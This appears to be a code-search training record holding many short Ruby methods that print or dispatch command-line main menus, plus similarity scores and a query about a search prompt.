"def sub_menu\n puts \"\\n***********************************************\".colorize(:magenta).blink\n puts \"Type the following letters to do...\".colorize(:blue)\n puts \"-----------------------------------------------\".colorize(:cyan).bold\n puts \"s = Save Recipe to My Favorites\".colorize(:blue)\n puts \"r = Rate Recipe\".colorize(:blue)\n puts \"a = See Average Recipe Rating\".colorize(:blue)\n puts \"o = Open Link to See the Steps for This Recipe\".colorize(:blue)\n puts \"m = Back to Main Menu\".colorize(:blue)\n puts \"***********************************************\\n \".colorize(:magenta).blink\n end",
"def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end",
"def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend",
"def main_menu_link; MAIN_MENU_LINK; end",
"def display_main_menu(clear_screen = false)\n clear if clear_screen\n title_header(TITLES[:main_menu],\"_\",\"-\",false)\n\n Api.main_topics.each_with_index do |type, i|\n puts \"#{(\" \" * (PROFILE_SIDE / 2))}#{i+1}\".green + \". #{type}\" \n end\n\n puts \"\\n NAVIGATE: \".black.on_green + \" #{nav_main}\".on_black\n input_menu\n end",
"def list_menu\n puts \"\\nMain Menu\"\n puts \"1. Daily Prophet - News!\"\n puts \"2. Evanesco - Exit\"\n end",
"def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end",
"def main_menu\n selection = input(@menu) {|o| (1..2) === o.to_i }.to_i\n \n if 1 == selection\n :continue\n elsif 2 == selection\n :quit\n end\n end",
"def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend",
"def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend",
"def menu\nend",
"def index\n\t\t@content_title = \"Main menu\"\n\tend",
"def menu\n \n \n\nend",
"def main_menu\n\t\tputs '################################'\n\t\tputs '######### Tic Tac Toe ##########'\n\t\tputs '################################'\n\t\tputs '================================'\n\t\tputs '== Choose your weapon warrior =='\n\t\tputs '================================'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '^^^^^^ Type Your Choice: ^^^^^^^'\n\t\tputs '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'\n\t\tputs '$$$$$$$$$$$ 1. \"X\" $$$$$$$$$$$$$'\n\t\tputs '$$$$$$$$$$$ 2. \"O\" $$$$$$$$$$$$$'\n\t\tputs '--------------------------------'\n\tend",
"def main_menu\n name_selector\n puts \"Okay #{@name}, what would you like to do?\"\n loop do\n case menu_arrows\n when '1'\n @recommendation.recommendation_menu\n when '2'\n puts 'you have the following number of games in your library: '\n @game_library.game_instances\n puts 'your custom list of games:'\n @game_library.user_games_lister\n when '3'\n puts 'add a game:'\n @game_library.add_title\n when '4'\n @game_library.delete_games\n when '5'\n @time_used.time_wasted\n when '6'\n @game_library.write_games\n puts 'thanks for your time!'\n exit\n end\n end\n end",
"def menu\n \nend",
"def displaymenu # Console only\r\n\t\t @output.puts \"Menu: (1) Play | (2) New | (3) Analysis | (9) Exit\"\r\n\t\t end",
"def run_normal\n welcome_header\n main_menu \n end",
"def main_menu\n puts \"---------------Animal shelter 4.5A-----------\"\n puts\n puts \"[1] List clients\"\n puts \"[2] List animals for adoption\"\n puts \"[3] Add a new client\"\n puts \"[4] Add a new animal\"\n puts\n puts\n puts \"[5] exit\"\n puts \"---------------------------------------------\"\nend",
"def menu\n puts '1) Promedio de notas'\n puts '2) Inasistencia alumnos'\n puts '3) Alumnos aprobados'\n puts '4) Salir'\nend",
"def main_Menu_Name\n Goldberg.menu.main_Menu_Name\n end",
"def main_menu\n while true\n print_main_menu\n user_selected =gets.to_i\n call_option(user_selected)\n end\n end",
"def main_menu\n input = 0\n until input.to_i == @@main_ops.length - 1 \n print \"\\e[H\\e[2J\" #clears the screen\n puts @name \n print_menu(@@main_ops)\n print \"Choose an option by entering a number: \"\n input = gets.chomp\n call_option(input)\n end\n end",
"def set_main_menu\n @main_menu = MainMenu.find(params[:id])\n end",
"def main_menu\n menu = [\n \"My Stats\",\n \"My Hikes\",\n \"Trails\",\n \"Quit\"]\n choice = nil\n while choice != \"Quit\"\n system 'clear'\n puts \"------MAIN MENU------\"\n choice = @prompt.select(\"What would you like to do #{@current_user.name}?\", menu)\n\n case choice\n when \"My Stats\"\n user_stats\n when \"My Hikes\"\n hike_options\n when \"Trails\"\n trail_options\n end\n end\n end",
"def nav_main(topic = \"main\")\n main = \"\"\n back = \"\"\n profile = \"[\" + \"\\#\".green + \"] View Profiles \"\n exit_cli = \"[\" + \"exit\".green + \"] Exit Program \"\n if topic != 'main'\n back = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"Top Ten\" || topic != \"kidnapped\"\n # else\n # main = \"[\" + \"menu\".green + \"] Main Menu \" if topic != \"main\"\n end\n \"#{profile}#{back}#{main}#{exit_cli}\"\n end",
"def show_main_menu\n puts \" Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" list important - List all contacts\"\n puts \" show :id - Display contact details\"\n puts \" delete - Delete an entry\"\n puts \" find - Find an entry\"\n print \"> \"\n end",
"def main_top_menu_items\n split_top_menu_into_main_or_more_menus[:main]\n end",
"def main_menu\r\n puts \"\\nMain Menu.\"\r\n puts \"A. List Buildings\"\r\n puts \"B. List Machines\"\r\n puts \"C. List Snacks\"\r\n puts \"D. List Users\"\r\n puts \"E. Find a Snack\"\r\n puts \"F. Add a New Snack\"\r\n puts \"G. Create New User\"\r\n puts \"H. List Favorites\"\r\n puts \"I. Find Favorites\"\r\n puts \"J. Add Favorites\"\r\n puts \"Q. Quit\"\r\nend",
"def main_menu_nav(main_menu_item)\n main_menu_items.each do |item|\n if item.text == main_menu_item\n item.click\n break\n end\n end\n end",
"def getMenu(menu)\n end",
"def index\n @root_menus = @system_config.menus.root_menus\n end",
"def main_menu\n puts \"Here is a list of available commands:\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - Show a contact\"\n puts \" search - Search contacts\"\n puts \" delete - Deletes a contact\"\n end",
"def init_menu\n @menus.set_selected(\"dashboard\")\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" delete - Delete by ID\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def init_menu\n @menus.set_selected(\"about\")\n end",
"def menu # can do custom methods within a method/class\n end",
"def set_current_menu\r\n @current_menu = params[:controller].to_sym\r\n @current_sub_menu = nil\r\n end",
"def display_main_menu\n loop do\n case main_menu_selection\n when 1\n RunApp.start_quiz(1)\n when 2\n RunApp.start_quiz(2)\n when 3\n exit\n end\n end\n end",
"def print_main_menu\n\t\tputs \"[1] Add a contact\"\n\t\tputs \"[2] Modify a contact\"\n\t\tputs \"[3] Display all contacts\" \n\t\tputs \"[4] Display one contact\"\n\t\tputs \"[5] Display an attribute\"\n\t\tputs \"[6] Delete a contact\"\n\t\tputs \"[7] Exit\"\n\t\tputs \"Enter a number\"\n\tend",
"def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end",
"def main_menu\n puts \"Main Menu\"\n puts \"(a) - Basic calculator\"\n puts \"(b) - Advanced calculator\"\n puts \"(c) - Special calculators\"\n puts \"(q) - Quit\"\nend",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show id - Show info for contact id number\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\".yellow\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" show - display details via index\"\n puts \" find - find someone by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def main_menu\n puts\"(b) - basic calculator\"\n puts\"(a) - advanced calculator\"\n puts\"(bmi) - body mass index\"\n puts\"(t) - trip calculator\"\n puts\"(m) - morgage\"\n puts\"(q) - quit\"\nend",
"def show_main_menu\n puts \"What would you like do next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" delete - Delete a contact\"\n puts \" show - Display contact details\"\n # puts \" find - Find a contact\"\n print \"> \"\n end",
"def main_menu\n\tputs \"[a] - addition\"\n\tputs \"[s] - subtraction\"\n\tputs \"[m] - multiplication\"\n\tputs \"[d] - divison\"\n\tputs \"[exp] - exponent\"\n\tputs \"[sqrt] - square root\"\n\tputs \"[q] - quit\"\nend",
"def main_menu\n\tfinished = false\n\tbegin\n\t puts ' Text Music Player '.colorize(:color => :black, :background => :yellow)\n\t puts\n\t puts ' Main Menu: '.colorize(:color => :while, :background => :blue)\n\t puts '1 - Read in Album '.colorize(:color => :black, :background => :white)\n\t puts '2 - Display Albums Info '.colorize(:color => :black, :background => :white)\n\t puts '3 - Play Album '.colorize(:color => :black, :background => :white)\n\t puts '4 - Update Album '.colorize(:color => :black, :background => :white)\n\t puts '5 - Exit '.colorize(:color => :black, :background => :white)\n\t choice = read_integer_in_range(\"Option: \", 1, 5)\n\t case choice\n\t when 1\n\t\tdatabase_file = read_file\n\t\talbums = read_albums(database_file)\n\t when 2\n\t\tif validate(albums)\n\t\t\tprint_albums_info(albums)\n\t\tend\n\t when 3\n\t\tif validate(albums)\n\t\t\tplay_album(albums)\n\t\tend\n\t when 4\n\t\tif validate(albums)\n\t\t\tselect_update_album(albums)\n\t\tend\n\t else\n\t\tif isUpdated(albums)\n\t\t\tputs 'Updating album file infomation..'\n\t\tend\n\t\tfinished = true\n\t end\n\tend until finished\nend",
"def main_menu\n while true\n print_main_menu\n user_selected = gets.chomp.to_s\n call_option(user_selected)\n end\n end",
"def show_main_menu\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" find - Find by name\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def print_menu menu_level= '0'\n print_menu_header menu_level\n\n 20.times do |counter|\n lvl = \"#{menu_level}.#{counter}\"\n puts \" #{counter} : \" + @menu_map[lvl][0] if @menu_map.has_key?(lvl)\n end\n puts \"Make a choice between those items. (X to exit)\"\n puts \"Use left arrow to go back\"\n end",
"def main_menu\n \"Welcome to BATTLESHIP\\nEnter p to play or q to quit\"\n end",
"def main_menu()\n system 'clear'\n loop do\n headline(\"My Petsitter App\")\n puts \"#{@emoji[:smiling_cat_face_with_open_mouth]} Welcome! #{@emoji[:dog_face]}\".colorize(:bold)\n puts @headline\n input = @prompt.select('Menu:') do |menu|\n menu.choice name: 'Pet Sitters', value: \"PET_SITTERS\"\n menu.choice name: 'Clients', value: \"CLIENTS\"\n menu.choice name: 'Jobs', value: \"JOBS\"\n menu.choice name: 'Logout', value: \"EXIT\"\n end\n puts '-' * 20\n go_to(input)\n end\n end",
"def current_sublink\n @current_sublink ||= current_menu_link_group.parent || InternalTab.new\n end",
"def show_main_menu\n puts \"Welcome to the app. What would you like to do?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n puts \" show - shows contact with specific id\"\n puts \" find - find a user\"\n print \"> \"\n end",
"def menu_selection \nend",
"def main_menu\n\tputs \"\\n1 Library\\n2 Staff Members\\n3 Books\\n4 Patrons\\n0 Exit\\n\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tlibrary_choice = \"9\"\n\t\twhile library_choice != \"0\"\n\t\t\tlibrary_choice = select_choice_library\n\t\tend\n\n \telsif select == \"2\"\n\t\tstaff_member_choice = \"9\"\n\t\twhile staff_member_choice != \"0\"\n\t\t\tstaff_member_choice = select_choice_staff_member\n\t\tend\n\n\n\telsif select == \"3\"\n\t\tbook_choice = \"9\"\n\t\twhile book_choice != \"0\"\n\t\t\tbook_choice = select_choice_book\n\t\tend\n\n\n\telsif select == \"4\"\n\t\tpatron_choice = \"9\"\n\t\twhile patron_choice != \"0\"\n\t\t\tpatron_choice = select_choice_patron\n\t\tend\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nGoodbye\"\t\t \t\t\n\tend\n\tselect \nend",
"def print_main_menu\n puts \"1. Add a contact\"\n puts \"2. Modify a contact\"\n puts \"3. Display all contacts\"\n puts \"4. Display a contact\"\n puts \"5. Display contact attributes\"\n puts \"6. Delete a contact\"\n puts \"7. Exit\"\n end",
"def main_menu\n render :partial => 'menus/main_menu'\n end",
"def main_menu(owner_name, owner)\n puts \"#{page_break}\\n\n Select from the following menu options to get started:\\n\n 1 - Make New Appointent\n 2 - Reschedule Appointment\n 3 - Cancel Appointment\n 4 - Search for a Groomer\n 5 - Exit\n \"\n end",
"def print_main_menu\n\t\tputs \"[1] Add a new contact\"\n\t\tputs \"[2] Modify an existing contact\"\n\t\tputs \"[3] Delete a contact\"\n\t\tputs \"[4] Display all the contacts\"\n\t\tputs \"[5] Display an attribute\"\n\t\tputs \"[6] Exit\"\n\t\tputs \"Enter a number: \"\n \tend",
"def start_menu\n printf \"\\nPrograma para a disciplina de LPD\\n\"\n printf \"Choose one option\\n\"\n printf \"------------------------------------\\n\"\n printf \"1) Insert user\\n\"\n printf \"2) Login user\\n\"\n printf \"3) Delete user\\n\"\n printf \"0) Exit\\n\"\nend",
"def main_menu(user)\n user = user\n self.clear\n Ascii.image\n menu = [\"See all my plants\",\"Add new plant\",\"Delete my account\",\"Quit\"]\n menu_selection = @@prompt.select(\"What would you like to do?\",menu)\n \n case menu_selection\n when \"See all my plants\"\n my_plant(user)\n when \"Add new plant\"\n add_plant(user)\n when \"Delete my account\"\n answer = @@prompt.yes?(\"Are you sure?\")\n answer == true ? user.destroy : self.main_menu(user)\n when \"Quit\"\n index = 0\n # binding.pry\n color = [\"#7FFF00\",\"#6B8E23\",\"#008000\",\"#2F4F4F\",\"#00008B\"]\n 5.times do\n self.clear\n # binding.pry\n puts Paint[Ascii.goodbye, color[index]] \n index += 1\n sleep(0.7)\n end \n end\n end",
"def active_menu\n active[:main_menu].try(:to_s)\n end",
"def rename_submenu\n\t\tputs \"Enter new list name:\"\n\t\tchoice = get_choice\n\t\t@todo_list.rename_title choice\n\t\tprint_menu\n\tend",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tinput = gets.chomp.to_i\n\t\t\treturn if input == 7\n\t\t\tchoose_option(input)\n\t\tend\n\tend",
"def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tuser_selected = gets.chomp.to_i\n\t\t\t\tif user_selected == 7\n\t\t\t\tputs \"Current session ended, goodbye!\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\tcall_option(user_selected)\n\t\tend\n\tend",
"def assigned_menu\n\n end",
"def main_menu\n main_menu = parent\n return main_menu if main_menu.present?\n\n parent_menu = parent_item\n parent_menu.main_menu if parent_menu.present?\n end",
"def display_menu\n system('clear')\n arr = ['My List', 'Recommendations', 'Playlist', 'Account Details', 'Exit']\n @prompt.select(\"》 MAIN MENU 《\\n\".colorize(:light_green), arr)\n end",
"def default\n html = '<div class=\"menu0-div\"><ul>'\n @selected = find_selected\n level_0 = DcBigMenu.where(dc_site_id: @site._id, parent: nil, active: true).sort(order: 1).to_a\n level_0.each do |item|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item)\n next unless can_view\n klas = item.id == @selected.id ? \"menu0-selected\" : \"menu0-item\"\n html << \"<li class='#{klas}'>#{ link_4menu(item) }</li>\\n\"\n end\n html << \"</ul></div>\"\n# submenu\n level_1 = DcBigMenu.where(dc_site_id: @site._id, parent: @selected.id, active: true).sort(order: 1).to_a\n html << \"<div class='menu1-div'><ul>\\n\"\n level_1.each do |item1|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item1)\n next unless can_view\n html << \" <li class='menu1-item'>#{link_4menu(item1)}</li>\\n\"\n end\n html << '</ul></div>'\nend",
"def bar\n puts 'bar'\n main_menu\nend",
"def menu\n puts \"- Type in a #{\"Nintendo Character\".colorize(:red)} | #{\"Game Series\".colorize(:blue)} | #{\"Amiibo Series\".colorize(:green)}\\n\\n\"\n puts \"- Type #{'1'.colorize(:yellow)} for a list of all the Game Series included in the Amiibo collection\"\n puts \"- Type #{'2'.colorize(:yellow)} for a list of all the Amiibo Series included in the Amiibo collection\"\n puts \"- Type #{'3'.colorize(:yellow)} for a list of all the Characters included in Amiibo collection\"\n puts \"- Type #{'4'.colorize(:yellow)} for a list of ALL Amiibos collection\\n\\n\"\n puts \"- Type #{'exit'.colorize(:yellow)} to exit the CLI\\n\\n\"\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n sleep(2)\n end",
"def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY ARITMETICO]]-----\"\n puts \"______________________________\"\n puts \"1) Suma\"\n puts \"2) Resta\"\n puts \"3) División\"\n puts \"4) Multiplicación\"\n puts \"5) Potencia\"\n puts \"6) Residuo\"\n puts \"7) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end",
"def main_menu\n \twhile true\n \t\tprint_main_menu\n\n \t\tprint \"Choose an option:\"\n \t\tuser_input = gets.chomp.to_i\n\n \t\tbreak if user_input == 7\n \t\t\n choose_option(user_input)\n \tend\n end",
"def menu\n puts \"------Calculator----\"\n puts \"Welcome to the calculator!\"\n puts \"Please select an option:\"\n puts \"\\t1) Enter numbers and modifier\"\n puts \"\\t2) Enter a string input\"\n puts \"\\t3) View the calculations you have preformed\"\n puts \"\\t4) Exit\"\n main_menu\n end",
"def type\n \"mymenu\"\n end",
"def show_main_menu\n puts \"\\e[H\\e[2J\"\n puts \"Welcome to the app. What's next?\"\n puts \" new - Create a new contact\"\n puts \" list - List all contacts\"\n puts \" quit - Exit Application\"\n print \"> \"\n end",
"def menu\n # This uses a HEREDOC for multiline listing\n puts \"-------------------------\".colorize(:green) \n puts <<-MENU\n\nChoose a how you would like to see a card. You can view by name, creature, enchantment or sorcery:\n1. See cards by Name \n2. See cards by Creature \n3. See cards by Enchantment \n4. See cards by Sorcery\n\nOr type 'exit' at any time to leave the program. Type 'menu' to return to the main menu.\n MENU\n end",
"def main_menu\n prompt.select(\"What would you like to do today #{user.name}?\") do |menu|\n menu.choice \"Choose Protein\", -> {choose_protein}\n menu.choice \"Exit!\", -> {exit_helper}\n menu.choice \"Delete Account!?!?\", -> {delete_account_helper}\n end\n end",
"def main_menu\n\tputs \"Welcome to Happitails!\"\n\tputs \"Please choose from the options below\"\n\tputs \"1. Add Animal\"\n\tputs \"2. Create Client\"\n\tputs \"3. Adopt an animal\"\n\tputs \"4. Put animal up for adoption\"\n\tputs \"5. View all animals\"\n\tputs \"6. View all clients\"\n\n\n\t# puts \"Z. SECRET DEBUGGING MODE\"\n\n\tputs \"q. Quit\"\nend",
"def main_menu\n puts \"(b) - basic calculator\"\n puts \"(a) - advanced calculator\"\n puts \"(bmi) - BMI calculator\"\n puts \"(m) - mortgage calculator\"\n puts \"(t) - trip calculator\"\n puts \"(q) - quit\"\nend",
"def render_clf_main_menu(project, options = {})\n # Default options\n options = {\n :ul_class => 'nav',\n :li_class => 'menucontent',\n :menulink_class => 'menulink',\n :title => :clf2_text_main_menu\n }.merge(options)\n\n render_clf_menu((project && !project.new_record?) ? :project_menu : :application_menu, project, options)\n end",
"def index\n #@fdn_menus = Fdn::Menu.all\n @fdn_menu = Fdn::Menu.top_level.first\n end",
"def main_menu(season)\n self.print_main_menu(season)\n\n input = gets.strip.downcase\n\n # Uses case statement to check input\n case input \n when \"1\"\n self.handle_standings(season)\n when \"2\"\n self.handle_home_court_records(season)\n when \"3\"\n self.handle_home_court_advantages(season)\n when \"4\"\n self.handle_point_differentials(season)\n when \"5\"\n self.handle_team_stats(season)\n when \"6\"\n self.handle_head_to_head(season)\n when \"7\"\n self.handle_new_season\n when \"exit\"\n self.exit_program\n else\n puts \"Invalid input. Try Again\"\n self.main_menu(season)\n end\n end",
"def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == \"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end",
"def goldberg_main_menu\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_menubar.rhtml\", :use_full_path => false, :locals => {:level => 0, :depth => 0, :class_attr => nil}\n end",
"def init_menu\n @menus.set_selected(\"teambox\")\n @menus.set_selected(\"licenses\")\n end",
"def print_menu\n puts \"1. List patients\"\n # ....\n end",
"def input_menu(topic = \"main\", sub_heading = nil)\n user_input = \"\"\n\n #(Loop) Valid input received\n until valid_menu?(user_input, topic) do\n print \"\\n Type Option: \".green \n print \" \"\n user_input = gets.strip.downcase\n end\n\n title_goodbye if user_input == \"exit\"\n\n if user_input == 'menu'\n clear\n fbi_title\n display_main_menu\n end\n\n input_idx = user_input.to_i\n if input_idx > 0 #MAIN MENU / SUB-MENU INPUT (NUMBER ONLY)\n if topic == \"main\"\n topic = Api.main_topics[(input_idx - 1)].to_s\n case input_idx\n when 1\n display_profile(topic,TITLES[:topten],1)\n when 5\n key = Api::TOPICS.key(topic)\n display_profile(topic,TITLES[key],1)\n else\n display_sub_menu(topic)\n end\n else #sub-menu / next list (number selection)\n sub_topic = Api.sub_topics(topic)[input_idx - 1]\n display_profile(topic, TITLES[topic_key(topic)], 1, sub_topic)\n end\n end\n end",
"def main_menu\n choice = self.prompt.select(\"Hi there, #{self.user.name}! What would you like to do today?\", [\"Create a new post\", \"Find a book\", \"View or edit my posts\", \"Delete my account\", \"Logout\"])\n\n case choice\n when \"Create a new post\"\n self.new_post\n when \"Find a book\"\n self.find_book\n when \"View or edit my posts\"\n self.view_edit_posts\n when \"Delete my account\"\n self.delete_account\n when \"Logout\"\n self.spinner(\" ✌️✌️✌️ \")\n self.greet\n end\n end",
"def menu ()\n menu_string = \"1. Show Menu\\n\"\n menu_string += \"2. Add Numbers\\n\"\n menu_string += \"3. Subtract Numbers\\n\"\n menu_string += \"4. Quit\\n\"\n return menu_string\nend",
"def main_menu\n\n\tputs \"***Ruby Cheatsheet***\"\n\tputs \"1. Command Line\"\n\tputs \"2. IDE\" \n\tputs \"3. Search\"\n\tputs \"4. Quit\"\n\tputs \"Make a selection 1 - 4:\"\n\nend",
"def menu\n response[\"menu\"]\n end",
"def printMenu\n\t\tself.report(\"\n\t\tEscolha uma opção\n\t\t1 - Trocar palavra-chave.\n\t\t2 - Ver palavra-chave.\n\t\t3 - Ver arquivo.\n\t\t4 - Sair.\n\t\t? \", 1)\t\t\n\tend",
"def Mostrar_menu\n puts \"______________________________\"\n puts \"\\n-----[[ RUBY RANGOS]-----\"\n puts \"______________________________\"\n puts \"1) Generación numérica\"\n puts \"2) Generación de letras\"\n puts \"3) Volver al Menu Principal\"\n puts \"______________________________\"\n print \"Opcion: \"\n end",
"def index\n @homepage_submenus = HomepageSubmenu.all\n end",
"def main_menu\n @@prompt.select(\"What would you like to do today?\".colorize(:yellow)) do |menu|\n menu.choice \"Read Reviews\", -> {self.read_reviews}\n menu.choice \"Write a review\", -> { self.writing }\n menu.choice \"Update a review\", -> { self.update_reviews }\n menu.choice \"Delete a review\", -> { self.deleting }\n menu.choice \"Log Out\", -> { self.log_out }\n end\n end",
"def print_main_menu\n puts \"[1] Add a new contact\"\n puts \"[2] Modify an existing contact\"\n puts \"[3] Delete a contact\"\n puts \"[4] Display all contacts\"\n puts \"[5] Search by attribute\"\n puts \"[6] delete_all\"\n puts \"[7] exit\"\n puts \"Enter a number: \"\n end",
"def print_main_menu\n puts '[1] Add a new contact'\n puts '[2] Modify an existing contact'\n puts '[3] Delete a contact'\n puts '[4] Display all the contacts'\n puts '[5] Search by attribute'\n puts '[6] Exit'\n puts 'Enter a number: '\n\n end"
] |
[
"0.7078838",
"0.70763487",
"0.70516163",
"0.6970304",
"0.69305265",
"0.6875889",
"0.67898166",
"0.6754016",
"0.67220366",
"0.6679244",
"0.6675464",
"0.66592926",
"0.66308796",
"0.6583507",
"0.65781564",
"0.6552656",
"0.6548033",
"0.65329564",
"0.652045",
"0.6450339",
"0.643013",
"0.64093757",
"0.64076334",
"0.6394188",
"0.6370369",
"0.63304454",
"0.6317982",
"0.6298636",
"0.6262863",
"0.6253476",
"0.6240494",
"0.6238714",
"0.62379473",
"0.6233536",
"0.62319297",
"0.6225206",
"0.6210155",
"0.61977184",
"0.6196545",
"0.6194621",
"0.618394",
"0.61832845",
"0.6183271",
"0.61825264",
"0.6177831",
"0.6163803",
"0.61613566",
"0.6160519",
"0.61567014",
"0.61430836",
"0.61428434",
"0.6133539",
"0.61318535",
"0.6127888",
"0.61131227",
"0.61112165",
"0.61061627",
"0.6103231",
"0.6102979",
"0.6101994",
"0.6096587",
"0.6095509",
"0.60925376",
"0.60785794",
"0.6065588",
"0.6056841",
"0.60374975",
"0.60373545",
"0.60273993",
"0.6026369",
"0.602112",
"0.6012821",
"0.60111904",
"0.60098404",
"0.60058963",
"0.60056067",
"0.5994099",
"0.59803617",
"0.59656894",
"0.5964113",
"0.59541637",
"0.5950013",
"0.5949501",
"0.5944984",
"0.5943313",
"0.5942091",
"0.59394807",
"0.5938702",
"0.59281516",
"0.5924069",
"0.59206015",
"0.5918963",
"0.5913489",
"0.5909309",
"0.5908594",
"0.5908108",
"0.59078526",
"0.5904887",
"0.5898325",
"0.58979166",
"0.58959186"
] |
0.0
|
-1
|
MAIN MENU SUB 11
|
def prompt_sub_1_1_search
print_line
puts "Please Enter Search Query:"
print_line
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend",
"def sub_menu\n puts \"\\n***********************************************\".colorize(:magenta).blink\n puts \"Type the following letters to do...\".colorize(:blue)\n puts \"-----------------------------------------------\".colorize(:cyan).bold\n puts \"s = Save Recipe to My Favorites\".colorize(:blue)\n puts \"r = Rate Recipe\".colorize(:blue)\n puts \"a = See Average Recipe Rating\".colorize(:blue)\n puts \"o = Open Link to See the Steps for This Recipe\".colorize(:blue)\n puts \"m = Back to Main Menu\".colorize(:blue)\n puts \"***********************************************\\n \".colorize(:magenta).blink\n end",
"def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end",
